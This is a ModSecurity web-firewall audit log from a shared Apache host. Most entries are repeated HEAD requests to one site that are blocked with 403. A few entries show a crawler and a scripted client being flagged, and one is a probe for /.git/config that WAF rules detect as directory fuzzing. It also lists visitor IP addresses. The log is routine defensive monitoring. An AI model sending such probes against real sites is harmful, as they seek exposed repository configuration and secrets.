[13/Sep/2026:07:44:43.889425 +0300] aqYqOysVWymXUono-eRRhQAAAAw 95.134.102.76 41456 127.0.0.1 7081
--b2d63136-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.76
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--b2d63136-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--b2d63136-E--
--b2d63136-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274683882162 7317 (- - -)
Stopwatch2: 1789274683882162 7317; combined=5323, p1=298, p2=4601, p3=88, p4=8, p5=328, sr=124, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b2d63136-Z--
--95875758-A--
[13/Sep/2026:07:44:43.989886 +0300] aqYqO2M7dE9KgIIOpQhjLwAAAM4 95.134.102.117 41470 127.0.0.1 7081
--95875758-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--95875758-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--95875758-E--
--95875758-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274683984364 5576 (- - -)
Stopwatch2: 1789274683984364 5576; combined=4168, p1=275, p2=3479, p3=72, p4=8, p5=333, sr=92, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--95875758-Z--
--6e7fe96b-A--
[13/Sep/2026:07:44:46.180977 +0300] aqYqPkwu1RSkptiiNIXwaQAAAI4 95.134.102.244 39198 127.0.0.1 7081
--6e7fe96b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.244
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--6e7fe96b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6e7fe96b-E--
--6e7fe96b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274686173658 7370 (- - -)
Stopwatch2: 1789274686173658 7370; combined=5641, p1=265, p2=4881, p3=83, p4=8, p5=404, sr=115, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6e7fe96b-Z--
--e77b2c6d-A--
[13/Sep/2026:07:44:46.543828 +0300] aqYqPisVWymXUono-eRRhwAAAA8 95.134.102.135 39208 127.0.0.1 7081
--e77b2c6d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.135
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--e77b2c6d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e77b2c6d-E--
--e77b2c6d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274686538342 5525 (- - -)
Stopwatch2: 1789274686538342 5525; combined=4107, p1=272, p2=3426, p3=59, p4=7, p5=342, sr=105, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e77b2c6d-Z--
--eab1562a-A--
[13/Sep/2026:07:44:46.900513 +0300] aqYqPmM7dE9KgIIOpQhjMQAAAMM 151.243.174.27 39214 127.0.0.1 7081
--eab1562a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.27
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--eab1562a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--eab1562a-E--
--eab1562a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274686894968 5595 (- - -)
Stopwatch2: 1789274686894968 5595; combined=4121, p1=323, p2=3475, p3=60, p4=6, p5=257, sr=155, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--eab1562a-Z--
--b11c9973-A--
[13/Sep/2026:07:44:55.150660 +0300] aqYqR2M7dE9KgIIOpQhjOAAAANA 95.134.102.241 39346 127.0.0.1 7081
--b11c9973-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.241
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--b11c9973-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--b11c9973-E--
--b11c9973-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274695143221 7495 (- - -)
Stopwatch2: 1789274695143221 7495; combined=5497, p1=276, p2=4824, p3=88, p4=8, p5=301, sr=123, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b11c9973-Z--
--fb08cd5d-A--
[13/Sep/2026:07:44:55.257268 +0300] aqYqRzTJ6xTvcJoem7f2yQAAAEQ 95.134.102.178 39360 127.0.0.1 7081
--fb08cd5d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.178
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--fb08cd5d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--fb08cd5d-E--
--fb08cd5d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274695249827 7479 (- - -)
Stopwatch2: 1789274695249827 7479; combined=5626, p1=275, p2=5011, p3=90, p4=7, p5=242, sr=119, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fb08cd5d-Z--
--7daf4b45-A--
[13/Sep/2026:07:44:55.601959 +0300] aqYqR2M7dE9KgIIOpQhjOQAAAME 95.134.102.144 35070 127.0.0.1 7081
--7daf4b45-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.144
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--7daf4b45-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--7daf4b45-E--
--7daf4b45-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274695588756 13260 (- - -)
Stopwatch2: 1789274695588756 13260; combined=8421, p1=1287, p2=6685, p3=104, p4=9, p5=336, sr=161, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7daf4b45-Z--
--59b1a216-A--
[13/Sep/2026:07:46:51.011852 +0300] aqYqumM7dE9KgIIOpQhjYQAAAMY 109.206.120.180 53466 127.0.0.1 7081
--59b1a216-B--
GET / HTTP/1.1
Host: www.behappydigital.com
X-Real-IP: 109.206.120.180
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: KBCnetContactBot/1.0 (polite contact refresh; 1 request / few seconds)
Accept: text/html,application/xhtml+xml;q=0.9,*/*;q=0.1
Accept-Language: en,sr,de,fr;q=0.8
--59b1a216-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Cache-Control: max-age=290304000, public
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--59b1a216-E--
--59b1a216-H--
Message: Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\.weblogs\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\bdatacha0s\\b|; widows|\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "32"] [id "77210831"] [msg "IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:KBCnetContactBot/1.0 (polite contact refresh; 1 request / few seconds)||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789274810990367 21557 (- - -)
Stopwatch2: 1789274810990367 21557; combined=4168, p1=328, p2=3693, p3=98, p4=8, p5=41, sr=146, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--59b1a216-Z--
--319d1827-A--
[13/Sep/2026:07:56:30.349155 +0300] aqYs-mM7dE9KgIIOpQhjvgAAANg 152.42.163.30 48018 127.0.0.1 7081
--319d1827-B--
GET /license.txt HTTP/1.1
Host: sabotagerum.com
X-Real-IP: 152.42.163.30
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.27.1
--319d1827-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--319d1827-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "sabotagerum.com"] [uri "/license.txt"] [unique_id "aqYs-mM7dE9KgIIOpQhjvgAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/sabotagerum.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789275390246149 103062 (- - -)
Stopwatch2: 1789275390246149 103062; combined=4502, p1=242, p2=4200, p3=0, p4=0, p5=60, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--319d1827-Z--
--67e9174e-A--
[13/Sep/2026:07:59:47.765998 +0300] aqYtwGM7dE9KgIIOpQhj1wAAANc 216.81.200.63 33758 127.0.0.1 7081
--67e9174e-B--
GET /.git/config HTTP/1.1
Host: dev.chania24.taxi
X-Real-IP: 216.81.200.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.6
Accept-Charset: utf-8
Accept-Encoding: gzip
--67e9174e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link:
; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--67e9174e-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "dev.chania24.taxi"] [uri "/.git/config"] [unique_id "aqYtwGM7dE9KgIIOpQhj1wAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "dev.chania24.taxi"] [uri "/.git/config"] [unique_id "aqYtwGM7dE9KgIIOpQhj1wAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "dev.chania24.taxi"] [uri "/.git/config"] [unique_id "aqYtwGM7dE9KgIIOpQhj1wAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/dev.chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789275584493397 3272655 (- - -)
Stopwatch2: 1789275584493397 3272655; combined=39650, p1=363, p2=39211, p3=0, p4=0, p5=76, sr=173, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--67e9174e-Z--
--02a75c08-A--
[13/Sep/2026:08:02:30.940606 +0300] aqYuZisVWymXUono-eRRtAAAAAQ 95.134.102.36 45696 127.0.0.1 7081
--02a75c08-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.36
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--02a75c08-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--02a75c08-E--
--02a75c08-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789275750933531 7169 (- - -)
Stopwatch2: 1789275750933531 7169; combined=4394, p1=264, p2=3730, p3=101, p4=8, p5=291, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--02a75c08-Z--
--f8bfb51d-A--
[13/Sep/2026:08:02:32.109640 +0300] aqYuaGM7dE9KgIIOpQhj-wAAAMo 95.134.102.178 45712 127.0.0.1 7081
--f8bfb51d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.178
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f8bfb51d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f8bfb51d-E--
--f8bfb51d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789275752103403 6290 (- - -)
Stopwatch2: 1789275752103403 6290; combined=4712, p1=327, p2=4033, p3=65, p4=6, p5=280, sr=190, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f8bfb51d-Z--
--72b64d78-A--
[13/Sep/2026:08:02:32.786044 +0300] aqYuaCsVWymXUono-eRRtQAAAA0 151.243.174.176 45726 127.0.0.1 7081
--72b64d78-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.176
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--72b64d78-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--72b64d78-E--
--72b64d78-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789275752777074 9030 (- - -)
Stopwatch2: 1789275752777074 9030; combined=6264, p1=908, p2=4902, p3=81, p4=8, p5=365, sr=745, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--72b64d78-Z--
--4281f17c-A--
[13/Sep/2026:08:04:18.418562 +0300] aqYu0mM7dE9KgIIOpQhkLwAAAME 46.203.158.147 51432 127.0.0.1 7081
--4281f17c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--4281f17c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--4281f17c-E--
--4281f17c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789275858412567 6090 (- - -)
Stopwatch2: 1789275858412567 6090; combined=4275, p1=261, p2=3663, p3=62, p4=7, p5=282, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4281f17c-Z--
--2cb20235-A--
[13/Sep/2026:08:04:18.752107 +0300] aqYu0mM7dE9KgIIOpQhkMAAAAMg 46.203.158.185 51438 127.0.0.1 7081
--2cb20235-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.185
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--2cb20235-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--2cb20235-E--
--2cb20235-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789275858745658 6501 (- - -)
Stopwatch2: 1789275858745658 6501; combined=5003, p1=250, p2=4331, p3=107, p4=8, p5=307, sr=106, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2cb20235-Z--
--53712b60-A--
[13/Sep/2026:08:04:19.156887 +0300] aqYu02M7dE9KgIIOpQhkMQAAAMw 91.124.31.118 51440 127.0.0.1 7081
--53712b60-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.118
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--53712b60-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--53712b60-E--
--53712b60-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789275859150346 6593 (- - -)
Stopwatch2: 1789275859150346 6593; combined=4745, p1=290, p2=4058, p3=72, p4=7, p5=318, sr=109, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--53712b60-Z--
--44dd5c54-A--
[13/Sep/2026:08:04:40.035590 +0300] aqYu52M7dE9KgIIOpQhkNQAAAMA 66.249.69.192 55506 127.0.0.1 7081
